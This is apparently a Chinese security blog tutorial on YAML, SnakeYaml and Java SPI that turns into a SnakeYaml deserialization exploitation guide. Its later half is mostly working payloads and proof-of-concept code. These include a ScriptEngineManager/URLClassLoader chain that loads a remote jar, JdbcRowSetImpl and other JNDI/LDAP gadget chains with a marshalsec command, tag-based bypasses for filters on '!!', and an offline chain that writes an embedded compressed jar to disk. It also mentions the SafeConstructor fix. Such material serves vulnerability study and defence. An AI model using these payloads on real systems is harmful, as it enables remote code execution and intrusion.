YAML 基本语法
YAML,YAML 是"YAML Ain’t a Markup Language"(YAML不是一种标记语言)的递归缩写, 是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。
YAML的语法和其他高级语言类似, 并且可以简单表达清单、散列表,标量等资料形态。它使用空白符号缩进和大量依赖外观的特色, 特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如: 许多电子邮件标题格式和YAML非常接近).
格式
YAML 具体使用,首先YAML中允许表示三种格式,分别是:常量值、对象和数组。例如:
`# 即表示url属性值;``url: http://www.yiibai.com`` ``# 即表示server.host属性的值;``server:` `host: http://www.yiibai.com`` ``# 数组,即表示server为[a,b,c]``server:` `- 120.168.0.21` `- 120.168.0.22` `- 120.168.0.23`` ``# 常量``pi: 3.14 # 定义一个数值3.14``hasChild: true # 定义一个boolean值``name: '你好YAML' # 定义一个字符串`
注释
和properties文件格式相同,YAML使用#作为注释开始且只有行注释.
YAML基本格式要求:
大小敏感.
利用缩进来表示层级关系.
缩进不能使用 TAB ,只能使用空格且对空格个数没有要求, 只需要相同层级左对齐即可(一般2个或4个空格).
对象
对象使用冒号代表, 格式为 key: value , 需要注意在冒号后加上一个空格.
可以使用缩进来表示层级关系.
`key:` `demo1: val1` `demo2: val2`
较为复杂的对象格式, 可以使用问号加一个空格代表一个复杂的 key , 配合一个冒号加一个空格代表一个值value.
数组
`demo:` `- val1` `- val2`` ``或者`` ``- `` - val1` `- val2 # [[val1, val2]]`
`companies:` `-` `id: 1` `name: company1` `price: 200W` `-` `id: 2` `name: company2` `price: 500W`
常量
`boolean: `` - TRUE #true,True都可以` `- FALSE #false,False都可以`` ``float:` `- 3.14` `- 6.8523015e+5 #可以使用科学计数法`` ``int:` `- 123` `- 0b1010_0111_0100_1010_1110 #二进制表示`` ``null:` `nodeName: 'node'` `parent: ~ #使用~表示null`` ``string:` `- 哈哈` `- 'Hello world' #可以使用双引号或者单引号包裹特殊字符` `- newline` `newline2 #字符串可以拆成多行,每一行会被转化成一个空格`` ``date:` `- 2018-07-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd`` ``datetime: `` - 2018-07-17T19:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区`
SnakeYaml 简介
Snakeyaml 包主要用来解析 yaml 格式的内容, yaml 语言比普通的 xml 与 properties 等配置文件的可读性更高,像是 Spring 系列就支持 yaml 的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
Yaml语法参考:https://www.yiibai.com/yaml
Spring配置文件经常遇到。
推荐一个yml文件转yaml字符串的地址,网上部分POC是通过yml文件进行本地测试的,实战可能用到的更多的是yaml字符串。https://www.345tool.com/zh-hans/formatter/yaml-formatter
转换流程图
SnakeYaml 使用
环境搭建
在Maven项目中的pom.xml文件添加依赖:
`<dependency>` `<groupId>org.yaml</groupId>` `<artifactId>snakeyaml</artifactId>` `<version>1.27</version>``</dependency>`
常用方法
`String dump(Object data)``将Java对象序列化为YAML字符串.`` ``void dump(Object data, Writer output)``将Java对象序列化为YAML流.`` ``String dumpAll(Iterator<? extends Object> data)``将一系列Java对象序列化为YAML字符串.`` ``void dumpAll(Iterator<? extends Object> data, Writer output)``将一系列Java对象序列化为YAML流.`` ``String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)``将Java对象序列化为YAML字符串.`` ``String dumpAsMap(Object data)``将Java对象序列化为YAML字符串.`` ``<T> T load(InputStream io)``解析流中唯一的YAML文档, 并生成相应的Java对象.`` ``<T> T load(Reader io)``解析流中唯一的YAML文档, 并生成相应的Java对象.`` ``<T> T load(String yaml)``解析字符串中唯一的YAML文档, 并生成相应的Java对象.`` ``Iterable<Object> loadAll(InputStream yaml)``解析流中的所有YAML文档, 并生成相应的Java对象.`` ``Iterable<Object> loadAll(Reader yaml)``解析字符串中的所有YAML文档, 并生成相应的Java对象.`` ``Iterable<Object> loadAll(String yaml)``解析字符串中的所有YAML文档, 并生成相应的Java对象.`
序列化与反序列化
主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
Yaml.dump():将一个对象转化为yaml文件形式;
序列化
`package org.example;`` ``import org.yaml.snakeyaml.Yaml;`` ``class User {` `public String name;`` ` `public void setName(String name) {` `this.name = name;` `}`` ` `public String getName() {` `return name;` `}``}`` ``public class App` `{` `public static void main( String[] args )``{` `User user = new User();` `user.setName("xiaobei");` `Yaml yaml = new Yaml();` `String dump = yaml.dump(user);` `System.out.println(dump);` `}``}`
这里 !! 用于强制类型转化,!!org.example.User 是将该对象转为org.example.User 类, 如果没有 !! 则就是个 key 为字符串的 Map ,其实这个和Fastjson的@type有着异曲同工之妙,用于指定反序列化的全类名.
反序列化
再来一段反序列化代码,主要是在各个方法中都添加了print,来看一下反序列化时会触发这个类的哪些方法
User.java
`package org.example;`` ``public class User {`` ` `String name;` `int age;`` ` `public User() {` `System.out.println("User构造函数");` `}`` ` `public String getName() {` `System.out.println("User.getName");` `return name;` `}`` ` `public void setName(String name) {` `System.out.println("User.setName");` `this.name = name;` `}`` ` `public String getAge() {` `System.out.println("User.getAge");` `return name;` `}`` ` `public void setAge(String name) {` `System.out.println("User.setAge");` `this.name = name;` `}``}`
App.java
`package org.example;`` ``import org.yaml.snakeyaml.Yaml;`` `` ``public class App` `{` `public static void main( String[] args )``{` `Deserialize();` `}`` ` `public static void Deserialize(){` `String s = "!!org.example.User2 {name: xiaobei, age: 18}";` `Yaml yaml = new Yaml();` `User user = yaml.load(s);`` ` `}``}`
反序列化过程中会触发setXX方法和构造方法。注意:在反序列化时候必须确保被反序列化对象的类型修饰符为 public ,否则会反序列化爆异常。
Java SPI 机制
简介
Java SPI机制是Java提供的一套用来被第三方实现或者扩展的API,它可以用来启动框架扩展和替换组件。
常见的SPI有JDBC、Spring、Spring Boot相关starter组件、Dubbo、JNDI、日志接口等.
SPI全称Service Provider Interface,是Java提供的一套用来被第三方实现或者扩展的接口,它可以用来启用框架扩展和替换组件。SPI的作用就是为这些被扩展的API寻找服务实现。
API (Application Programming Interface)在大多数情况下,都是实现方制定接口并完成对接口的实现,调用方仅仅依赖接口调用,且无权选择不同实现。从使用人员上来说,API 直接被应用开发人员使用。
SPI (Service Provider Interface)是调用方来制定接口规范,提供给外部来实现,调用方在调用时则选择自己需要的外部实现。从使用人员上来说,SPI 被框架扩展人员使用。
也就是说,SPI是一种服务发现机制,它是通过在CLASSPATH路径下的META-INF/services文件夹查找文件,然后自动加载文件里所定义的类,相当于动态的为某个接口(API)寻找服务实现;也就是说,我们可以通过在META-INF/services下创建一个以服务接口命名的文件,这个文件里面的内容就是这个接口的具体实现类的完整类名,在加载这个接口的时候就会实例化这里面写上的那个类名。
使用介绍
当服务提供者提供了接口的一种具体实现后, 在jar包的META-INF/services目录下创建一个以"包名 + 接口名"为命名的文件,内容为实现该接口的类的名称.
接口实现类所在的jar包放在主程序的classpath中.
主程序通过java.util.ServiceLoder动态装载实现模块,通过在META-INF/services目录下的配置文件找到实现类的类名,利用反射动态把类加载到JVM.
实现原理
程序会通过java.util.ServiceLoader动态装载实现模块,在META-INF/services目录下的配置文件中寻找实现类的类名,再通过Class.forName加载进来,再通过newInstance()来创建对象,并且存到缓存和列表里面。
DataSoure(服务接口)
`package MySPI;`` ``public interface DataSource {` `void Driver();``}`
Mysql服务提供者
`package MySPI;`` ``public class Mysql implements DataSource{` `@Override` `public void Driver() {` `System.out.println("This is Mysql DataSource");` `}``}`
Oracle服务提供者
`package MySPI;`` ``public class Oracle implements DataSource{` `@Override` `public void Driver() {` `System.out.println("This is Oracle DataSource");` `}``}`
Mssql服务提供者
`package MySPI;`` ``public class Mssql implements DataSource{` `@Override` `public void Driver() {` `System.out.println("This is Mssql DataSource");` `}``}`
SPIUsage(模拟使用者)
`package MySPI;`` ``import java.util.Iterator;``import java.util.ServiceLoader;`` ``public class SPIUseage {` `public static void main(String[] args) {` `ServiceLoader<DataSource> load = ServiceLoader.load(DataSource.class);` `Iterator<DataSource> iterator = load.iterator();` `while(iterator.hasNext()){` `iterator.next().Driver();` `}` `}``}`
服务列表文件
需要注意的是这里由于是Maven项目,故我们的META-INF以及serivces文件夹还有服务列表文件都是放到resources目录下。
测试使用
原理分析
跟进 ServiceLoad.load(Class service) 方法, 其先创建一个 ClassLoader ,接着继续调用 ServiceLoad.load(Class service, ClassLoader loader) .
接着创建一个 ServiceLoader 对象
在创建 ServiceLoader 对象时候会调用 reload 方法,在 reload 方法会创建一个 LazyIterator 的实例对象.
在 LazyIterator 对象中有两个参数,分别是:
service: 为要扫描的配置文件名.
loader: 为当前线程的 ClassLoader .
返回一个 LazyIterator 的实例,如其名字一样,这是一个延迟加载的迭代器,然后返回到主函数我们进行迭代。
在遍历对象前我们会先通过hasNext方法判断是否存在
跟入java.util.ServiceLoader.LazyIterator#hasNext方法
这里的java.util.ServiceLoader#parse方法完成服务提供者的解析
可以看到实际上就是解析每行获得的服务提供者。
下面我们看一下实际调用时候的流程
其实就是读取 META-INF/services/包名.接口名 文件,然后遍历文件中每一个实现了服务接口的服务提供者类名,通过反射创建实例对象,并存到服务提供者列表里面。流程下来我们知道了如果 load 可控加载恶意的接口实现类。然后控制 Jar 包中的 META-INF/services 目录中的SPI配置文件,我们就可以服务器通过SPI机制调用恶意类达到恶意代码执行的效果。
RCE Demo
如果服务提供者的接口中存在RCE,则我们跌倒调用的时候会导致RCE触发。
Snakeyaml的反序列化方式
无构造方法和setter方法
无构造方法和setter方法情况下snakeyaml将使用反射的方式自动赋值。
`package com.SnakeYamlSec;`` ``public class ModelA {``public int a;``public int b;``}`
使用如下方法反序列化
`Yaml yaml = new Yaml();``ModelA a = (ModelA) yaml.load("!!com.SnakeYamlSec.ModelA {a: 5, b: 0}") ;``System.out.println(yaml.dump(a));`
将反序列化成功。
存在构造方法
`package com.SnakeYamlSec;`` ``public class ModelB {` `public int a;` `public int b;`` ` `public ModelB(int a,int b){` `this.a = a;` `this.b = b;` `}`` ``}`
使用如下方式反序列化
`ModelB b = (ModelB) yaml.load("!!com.SnakeYamlSec.ModelB [5 , 0 ]") ;``System.out.println(yaml.dump(b));`
这里的[ ]是调用构造函数的一个标志,在构造函数中下断点,也能够成功调到。
需要注意 snakeyaml 反序列化时,如果类中的成员变量全为私有将会失败(调试得知)。
存在setter方法
`package com.SnakeYamlSec;`` ``public class ModelC {` `public int a;`` ` `public void setInput(int a){` `this.a = a;` `}`` `` ``}`
`ModelC c = (ModelC) yaml.load("!!com.zlg.SnakeYaml.ModelC {input : 5}") ;``System.out.println(yaml.dump(c));`
使用此方式在反序列化过程中会调用setter方法,其YAML写法和无构造函数的方式写法差不多,比如要调用setInput函数,把set去掉将后面单词全部小写后,后面值就是传入setInput的参数就可以调用,其实Java中很多组件中都会存在类似操作,即判断目标类的相关属性是否存在setter方法,如果存在优先考虑使用setter方法。
到此为止,意味着snakeyaml可以利用fastjson和Jackson的所有利用链(反之不一定行),并且还没有autotype的限制。
ScriptEngineManager反序列化利用
攻击复现
网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。Github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网的。该项目中执行的命令在Windows下不适用,我们需要进行需改,比如加一段弹计算器的代码
编译打包
之后在该目录开一个web服务
更改poc
`!!javax.script.ScriptEngineManager [` `!!java.net.URLClassLoader [[` `!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]` `]]``]`
收到HTTP请求并成功弹出计算器
调试分析
YAML解析部分
下面调试分析一下整个流程,在yaml.load(s)处下断点
首先通过 StringReader 处理我们传入的字符串,PoC存储在StreamReader的this.stream字段值里。
上面主要是对输入的payload进行赋值与简单处理的操作,之后进入loadFromReader(new StreamReader(yaml), Object.class)方法中,该方法内逻辑如下
首先会对我们传入的payload进行处理,封装成Composer对象。
这里实际上还有一个细节点,那就是new ParserImpl的操作
这里注意 !! -> tag:yaml.org,2002: 后续也会对我们传入的 payload 进行字符串替换的操作。
之后调用BaseConstructor#setComposer()方法,对Composer进行赋值,最终进入BaseConstructor#getSingleData(type)方法内,跟进后会调用this.composer.getSingleNode()方法对我们传入的payload进行处理,会把!!变成tagxx一类的标识
这个在浅蓝师傅的文章中也有提到过,对于一些yaml常用的set map等类型都是一个tag,属于是在过滤掉 !! 的情况下可以通过这种 tag 形式去进行Bypass,详细的思路可参考浅蓝师傅的文章。
`public static final String PREFIX = "tag:yaml.org,2002:";``public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");``public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");``public static final Tag SET = new Tag("tag:yaml.org,2002:set");``public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");``public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");``public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");``public static final Tag INT = new Tag("tag:yaml.org,2002:int");``public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");``public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");``public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");``public static final Tag NULL = new Tag("tag:yaml.org,2002:null");``public static final Tag STR = new Tag("tag:yaml.org,2002:str");``public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");``public static final Tag MAP = new Tag("tag:yaml.org,2002:map");`
而 tag 具体的替换以及整个payload重新组合的逻辑在ParserImpl#parseNode()方法中。
继续回到 loadFromReader 跟进到constructor.getSingleData
具体的处理逻辑比较复杂,调试起来也比较费劲,而且它是一位一位进行处理,所以说这里我就把具体的处理过程跳过了,简单放张截图
然后调用 constructDocument ,跟进 constructDocument , 会调用constructObject来获取一个Object对象
跟进该方法, 进一步调用 constructObjectNoCheck .
跟进 constructObjectNoCheck 方法.
接着跟进construct.construct方法
这里会调用 this.getConstructor
这里getConstructor方法所做的事情就是获取类的构造方法
跟进去发现继续调用 getClassForNode ,在该方法中获取了name的值为javax.script.ScriptEngineManager,然后调用getClassForName对name进行传入获取cl的class对象
跟进 getClassForName , 在这里使用反射创建了一个javax.script.ScriptEngineManager对象的具体实现.
接着回到上面的 construct 处继续分析
这里调用完 getContructor 方法后将调用该返回对象的 construct 方法,继续跟进
该 constructor 方法逻辑如上图所示,注意这里 Constructor.this.newInstance 方法调用
远程恶意对象创建
在 newInstance 方法中会获取 node 的类型(这里就是我们自定义类型),然后通过反射获取该类的构造方法,然后设置访问权限并提供构造方法创建实例对象,底层使用的是Java反射机制,这里直接看反射调用的方法public javax.script.ScriptEngineManager(java.lang.ClassLoader)
这里调用了return getServiceLoader(loader);,接着就是ServiceLoader.load(),对我们自定义的服务(SPI)加载器进行初始化,可以看到这部分就是SPI机制的实现
这时候我们再看Github下载的Payload项目,可以发现这个项目实际上就是一个实现了ScriptEngineFactory接口的服务提供者,前面分析过,在next方法的时候会解析服务列表文件并创建服务提供者对象实例
回到javax.script.ScriptEngineManager#initEngines方法继续分析,在前面SPI机制中我们分析知道了在next的时候会进行反射加载服务提供者,我们只需要在此处下断即可
最后有一个细节点那就是真正发起请求这个Payload Jar的操作实际上是在java.util.ServiceLoader.LazyIterator#hasNextService方法中的parse(service, configs.nextElement());调用中进行的,此时的loader是一个UrlClassLoader,前面分析SPI机制流程的时候有说明在parse方法中才会进行服务列表文件的读取解析,也就是发生请求的地方
总结
整个调试下来感觉有点类似于在调 Fastjson ,前面一小半的部分是在做一些payload的处理,涉及到一些变量,比如tag、node、type这些,以及SnakeYaml内部对于 !! 去转换为tag这类的操作,然后就是一些数据的流向,需要仔细观察;后半部分就是整个漏洞的一个触发,整体的一个思路就是先反射构造对象。
在构造时候会触发该类的 构造方法 、 set系列方法 ,所以,通常我们将 命令执行代码 写在构造函数内。
如果是利用ScriptEngineManager手法加载远程JAR的话流程就是分别获取ScriptEngineManager、URLClassLoader、URL的class对象,之后在construct方法内最终分别实例化了URL、URLClassLoader、ScriptEngineManager来造成远程代码执行。
漏洞修复
这个漏洞涉及全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击
修复方案:加入new SafeConstructor()类进行过滤
`package Snake;``import org.yaml.snakeyaml.Yaml;``import org.yaml.snakeyaml.constructor.SafeConstructor;``public class snaketest {` `public static void main(String[] args) {` `String context = "!!javax.script.ScriptEngineManager [\n" +` `" !!java.net.URLClassLoader [[\n" +` `" !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +` `" ]]\n" +` `"]";` `Yaml yaml = new Yaml(new SafeConstructor());` `yaml.load(context);` `}``}`
JdbcRowSetImpl
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:9999/Evil', autoCommit: true}
JNDI注入
首先本地生成恶意字节码并监听生成远程恶意类地址
使用marshalsec创建ldap服务引用远程恶意类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 9999
POC
`package com.yamlAttack;`` ``import org.yaml.snakeyaml.Yaml;`` ``public class SnakeYamlGadgets``{` `public static void main( String[] args )``{` `Yaml yaml=new Yaml();` `yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:9999/Evil', autoCommit: true}");` `}``}`
原理分析
这条反序列化链的原理和Fastjson中的JdbcRowSetImpl链基本上一模一样,都是因为反序列化还原会调用对象setter方法,这里反序列化调用setAutoCommit方法进而执行connect操作接着实现JNDI注入。
绕过!!被过滤
使用等价字符替换
`!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [` `!!java.net.URLClassLoader [[` `!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]` `]]``]`
`import org.yaml.snakeyaml.Yaml;`` ``public class ByPass {` `public static void main(String[] args) {` `Yaml yaml=new Yaml();` `String payload="!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [\n" +` `" !!java.net.URLClassLoader [[\n" +` `" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +` `" ]]\n" +` `"]";` `yaml.load(payload);` `}``}`
自定义Tag前缀
`%TAG ! tag:yaml.org,2002:``---``!javax.script.ScriptEngineManager [` `!!java.net.URLClassLoader [[` `!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]` `]]``]``// 记得不要漏了---`
`import org.yaml.snakeyaml.Yaml;`` ``public class ByPass {` `public static void main(String[] args) {` `Yaml yaml=new Yaml();` `// 定义!代表tag:yaml.org,2002:` `String payload="%TAG ! tag:yaml.org,2002:\n"+` `"---\n"+` `"!javax.script.ScriptEngineManager [\n" +` `" !!java.net.URLClassLoader [[\n" +` `" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +` `" ]]\n" +` `"]";` `yaml.load(payload);` `}``}`
参考
https://yaml.org/spec/1.1/#id858600
不出网情况
C3P0链
Fastjson中可以用C3P0.WrapperConnectionPoolDataSource对HEX序列化字节码进而实现本地调用,snakeyaml同理。
`// CommonsCollections5为反序列化链,具体情况视目标环境而定``java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" > 1.txt`
将字节码文件转为16进制,传入payload中,即可进行恶意字节码加载
`!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource``userOverridesAsString: 'HexAsciiSerializedMap:16进制数据;'`
POC
`public class SnakeYaml {` `public static void main(String[] args) {` `String payload = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +` `"userOverridesAsString: 'HexAsciiSerializedMap:16进制数据;'";` `Yaml yaml = new Yaml();` `yaml.load(payload);` `}``}`
本地写入Jar实现加载Payload
其实snakeyaml和fastjson基本上差不多,只是序列化数据表现形式存在区别,不过相关特性高度相似,所以fastjson中大部分利用链都可以转化为snakeyaml形式
`{` `"@type": "java.lang.AutoCloseable",` `"@type": "sun.rmi.server.MarshalOutputStream",` `"out": {` `"@type": "java.util.zip.InflaterOutputStream",` `"out": {` `"@type": "java.io.FileOutputStream",` `"file": "dst",` `"append": "false"` `},` `"infl": {` `"input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="` `},` `"bufLen": 1048576` `},` `"protocolVersion": 1``}`
Payload
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },1048576]]
filepath是写入路径,base64是我们要写入文件的base64编码
`package snakeYaml;`` ``import org.yaml.snakeyaml.Yaml;`` ``public class SnakeYaml {` `public static void main(String[] args) {` `String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]\n";` `Yaml yaml = new Yaml();` `yaml.load(payload);` `}``}`
写入本地之后就可以通过ScriptEngineManager方式进行本地读取了
`public class SnakeYaml {` `public static void main(String[] args) {` `String payload = "!!javax.script.ScriptEngineManager [\n" +` `" !!java.net.URLClassLoader [[\n" +` `" !!java.net.URL [\"file:///yaml-payload.jar\"]\n" +` `" ]]\n" +` `"]";` `Yaml yaml = new Yaml();` `yaml.load(payload);` `}``}`
整体思路其实就是一套组合拳,核心利用链还是前面的ScriptEngineManager。
Other Gadgets
以下利用链来自于Sentiment师傅文章。
Spring PropertyPathFactoryBean
依赖
`<dependency>` `<groupId>org.springframework</groupId>` `<artifactId>spring-beans</artifactId>` `<version>5.3.23</version>``</dependency>``<dependency>` `<groupId>org.springframework</groupId>` `<artifactId>spring-context</artifactId>` `<version>5.3.23</version>``</dependency>`
POC
`public static void main(String[] args) throws Error ,Exception{` `String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"Exec\", \"http://localhost:7777/\"],!!org.apache.xbean.naming.context.WritableContext []]]";` `Yaml yaml = new Yaml();` `yaml.load(poc);``}`
Apache Commons Configuration
依赖
`<dependency>` `<groupId>commons-configuration</groupId>` `<artifactId>commons-configuration</artifactId>` `<version>1.10</version>``</dependency>`
POC
`public static void main(String[] args) throws Error ,Exception{` `String poc = "\n" +` `" ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://localhost:9999/Execs\"]]";` `Yaml yaml = new Yaml();` `yaml.load(poc);``}`
C3P0 JndiRefForwardingDataSource
`public static void main(String[] args) throws Error ,Exception{` `String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +` `" jndiName: \"ldap://localhost:9999/Exec\"\n" +` `" loginTimeout: 0";` `Yaml yaml = new Yaml();` `yaml.load(poc);``}`
Resource
依赖
`<dependency>` `<groupId>org.eclipse.jetty</groupId>` `<artifactId>jetty-jndi</artifactId>` `<version>9.4.8.v20171121</version>``</dependency>``<dependency>` `<groupId>org.eclipse.jetty</groupId>` `<artifactId>jetty-plus</artifactId>` `<version>9.4.8.v20171121</version>``</dependency>``<dependency>` `<groupId>org.eclipse.jetty</groupId>` `<artifactId>jetty-util</artifactId>` `<version>9.4.8.v20171121</version>``</dependency>`
POC
`public static void main(String[] args) throws Error ,Exception{` `String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";` `Yaml yaml = new Yaml();` `yaml.load(poc);``}`
其它可能切入点
`Context接口子类``DataSource接口子类``javax.naming.spi.ObjectFactory子类`` ``com.sun.jndi.ldap.LdapReferralContext#LdapReferralContext``com.sun.jndi.ldap.LdapCtx#LdapCtx(java.lang.String, java.lang.String, int, java.util.Hashtable<?,?>, boolean)``javax.naming.ldap.InitialLdapContext#InitialLdapContext(java.util.Hashtable<?,?>, javax.naming.ldap.Control[])``com.sun.jndi.cosnaming.CNCtx#CNCtx(java.util.Hashtable<?,?>)``com.sun.jndi.rmi.registry.RegistryContext#RegistryContext(java.lang.String, int, java.util.Hashtable<?,?>)`
参考
总结使用SnakeYAML解析与序列化YAML相关__小鱼塘的博客-CSDN博客_snakeyaml用法
Java安全之SnakeYaml反序列化分析 - nice_0e3 - 博客园
Java SnakeYaml反序列化漏洞 | s1mple
Java SnakeYaml反序列化学习 - R0ser1 - 博客园
Java常用机制 - SPI机制详解 | Java 全栈知识体系
Java安全之SnakeYaml反序列化分析 - 跳跳糖
Java SnakeYaml反序列化 · BlBana's BlackHouse
SnakeYaml反序列化及不出网利用
Java安全之SnakeYaml反序列化分析
Java-SnakeYaml反序列化漏洞
理解的Java中SPI机制